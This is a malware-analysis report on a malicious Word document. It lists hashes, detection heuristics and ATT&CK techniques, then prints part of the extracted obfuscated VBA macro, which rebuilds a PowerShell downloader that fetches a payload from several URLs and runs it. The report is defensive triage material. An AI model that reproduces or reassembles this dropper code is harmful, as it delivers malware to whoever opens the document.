Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c0fc14fa5f91bca2…

MALICIOUS

Office (OLE)

81.0 KB Created: 2017-11-10 17:56:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 91ffdd4f77a4c9c1c1d7e2e91b3cd2d2 SHA-1: 2e60bd2d794c6556adbb347c95782122c7ae2660 SHA-256: c0fc14fa5f91bca2cc6cd3698b23479a19386c990ca5b7164a609e15e5ad3a66
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The file contains heavily obfuscated VBA macros, including an AutoOpen function, which are designed to execute arbitrary code. Critical heuristics indicate the use of Shell() calls and an obfuscated loader, strongly suggesting the document's purpose is to download and run a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-6370733-0' further supports this assessment.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6370733-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6370733-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39594 bytes
SHA-256: 0f719a699926ce24452c07861ef4c30616b7039327b2e5ee678479d870a5ccc9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 24 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zfHjBRIkV"
Function ubmZVYlzY()
tWpNwjS = Mid("9mMzfMKILtM0IlpMqkkROjVYB5GC8Wfg][cHar]36).REpLacE(wVI+wVI([cHar]73+[cHar]111+[cHar]wVI+wVI1'+'1wVI+wVI2),[Strin'+'wVI+wVIg][c'+'Har]39)'+' )'+' wVI).rEPlaCe(([ChaR]78+[ChaR]110+[ChaR]111),[sTring][ChaR]DBbwcKB3", 32, 172) + ECNdckE + tMoisMo
fdwfSr = Mid("ujiMj0AtriIecl+wVI+wVIeclophttecl+eclp:ecl+ecl//xnec'+'l+e'+'cl'+'--eczZXu3OoGo", 11, 60) + zQtJpiq + sDWNEMU
nlHzw = Mid("dja+eclFk1_.'+'Exceecl+eclpecl+eclwVI+wVItion.MessagewVI+wVI;}}ecl).R'+'EpLacE((w'+'VI+wVI['+'cHa'+'r]97+[cHar]98+'+'[cHar]79)wVI+wVI,eclJV'+'Le8H2RoJSw3d6TwtdiL0DwzIHVpDLl8H", 4, 141) + SsBcnPY + kiWFhTM
anOmDoBwhp = Mid("Xl8tY7i1hYYijKcl).RwVI+wVIEpLacswUA41GIhMVoHzz6luvfz8oQ", 15, 17) + EUNwmld + MbYFTlz
ufOhFEq = Mid("nvGtqF1lohifCstHa9J(), FkewVI+wVIcl+e'+'cl1huas);Invokecl+eclewVI+wVI-Iec'+'l+ecltem(Fk1ecl+ecl'+'huas)ecl+ecl;becl+eclreecl+eclak;}cecl+eclatch{write-host ecl'+'lr2f", 20, 143) + AdGDviC + rlhapdh
KJQbzKk = Mid("1m4K0n3l+ecl80zDt", 8, 7) + TRvwDbu + wPpVwtf
DXijPT = Mid("KciiV6DsYXJjPZciAJclledpuecl+eclblicecl+eclidecl+eclad.com/jtvsecl+eclZO/Iopecl+ecl.ecl+eclSpliecl+eclwVI+wVIt(ecl+eclIecl+eclop,Ioecl+eclp);'+'ecl+eclFk1ecl+eclkarapaecl+eclwVI+wVIseoH", 19, 165) + MVVRlRP + isaGSKi
wmaiA = Mid("jSOHTVcl+ecl = Fecl+eclk1ecl+eclnsadasecl+ecld.next'+'(ecl+ecl1, 343245);Fecl+eclkecl+ecl1ecl+eclhuas = Fk1eecl+wVI+wVI'+'ecAucNE9Tjfs4ObKAOlOsW5pS7Lbz9bO", 7, 118) + ZClAYDT + zjINiWv
MzBOS = Mid("XFUOinjWjZLoXjGYN(' & ( 0hCENV:COMSPEc[4,26,25]-JoinwVIwVI)((wVI & ( NnopshOme[21]+NnoPsHOMe[30'+']+wVI+wVIe'+'clXewVI+wVIcl)wVI+wVI ( (eclFk1fra'+'nc wVI+wVI= new-objecl+eclect ecl+eclSysteec'+'l+eclm.ewVI+wVIc131Ti1E", 18, 194) + CdcRuTX + USmirId
RtbKZCaaEz = Mid("31vrLFkrsnU0ql+eclNeecl+eclt.WebClie'+'ecl+eclnt;ecl+eclFecl+eclk1nsadasd = ecl+eclneecl+eclw-ecl+eclobe'+'cl+ecljeecl+eclct ecl+eclrandwVI+wVIom;Fk1becl+eclcecl+ecldecl+ecl = 96nz", 14, 163) + tcvmXif + lNbcnoj
qGGzQ = Mid("u4kAJLsI2S6ma'+'ecl+eclhecl+eclk9'+'a.xnwVI+wVIecl+ecl-ecl+ecl-p1aiecl+e'+'cl/gPhwVI+wVITZQJ/,ecl+eclhttp:/ecl+e'+'cl/J25", 13, 106) + dOGJtYJ + jElzajw
IAvfCvV = Mid("k36).rEPlaCe(([ChaR]101+[ChaR]99+[ChaR]108),[sTring][ChaR]39).rEP'+'laCe(wVIJVLwVI,NwZ8QR795w6MBj", 2, 82) + ifpXBjN + VdvKqiN
YhwHQYGZZZK = Mid("M8fdmiKpLr9WeclFk1ecl+eclfrancecl+ecl.Decl'+'+eclownecl+eclloawVI+wVIdecl+eclFile(Fk1abc.ToSecl+ecltringUjsJQ6ApFU1r", 13, 92) + iLbVnVF + JCiNSKM
DPiukk = Mid("hDZWUasecl+ecl +ecl+ecl Iecl+ecloecl+eclp.ecl+ecl'+'exeIop;fwVI+wVIoreach(Fkecl+ecl1'+'ec'+'l+eclaecl+eclbc ecl+eclinecl+ecl F'+'ecl+eclk1b'+'cd)'+'{t'+'ryecl+ecl{ecl+Y24UaQE2rPoi0H", 6, 162) + ktbjtzj + iVusEaF
RklqW = Mid("ZST7wElDbPIUhGLtiEwkorfjtoEdIl+ecloecwVI+wVIl+eclnec'+'l+eclt-britv.ruecl'+'+ecl/Uecl+e'+'cla'+'muecl+eclKMpu'+'ecl+'+'ecl/,ewVI+wV'+'Icl+ecwVI+wVIlh'+'ttp'+'ecl+ecl://recl+wVI+wVIeclemecl+ecloecl+eclntecl+e'+'cl-secl+eclhlangovmEEr7", 30, 198) + oMAVfSk + ljRNRkI
MwIAjTmPIt = Mid("m6XBmT7UDWE0pw94w0UwVIz1awVI))').RePlAcE(([CHar]119+[CHar]86+[CHar]73),[STRiNG][CHar]39).RePlAcE(cGfzb4D42Mf", 20, 78) + jLruDhi + riumwBG
QCjMtird = Mid("4s5djucl+ecltp:ecl+ecl/ecl'+8E75ZhN", 7, 22) + hurFIDF + VWjaQYm
ajwZBAJ = Mid("uwiRqSF7Dsv.ru/Q/,htecl+e'+'cltp://www.ecl+eJsafb8cmVBHs5o7nWFF0wv5", 11, 34) + thjnLBz + vqsDmRH
qvfzpdzX = Mid("jCWEqjmVHJE(eclFk1ecl,[Strintld5hPRZ0QqWwizLiMjjrVPvwjdMC", 11, 18) + rPEJUdw + rcNkZjA
GAiYU = Mid("l2GBTTJbeniecl+ecltecl+ecl.ecl+wVI+wVIeclbiz/eecl+eclsecl+ecluBzzmU/,ecl+eclhteSK21zRRD", 8, 72) + SMihdzd + wdzidiY
oYqwZbb = Mid("rF([CHar]122+[CHar]49+[CHar]97),'\').RePlAcE(([CHar]48+[CHar]104+[CHar]67),'$') |. ( $env:pUbLic[13]+$env:puBlIc[5]+'X')Tw1j7TRT", 3, 118) + BiufVJA + FsFBliJ
PlqlcjA = Mid("l0L44'+ecl'+'/recl+eclemecXZCzz60P6F", 6, 21) + OLVzwbS + jwNOwEV
plDzh = Mid("Az
... (truncated)

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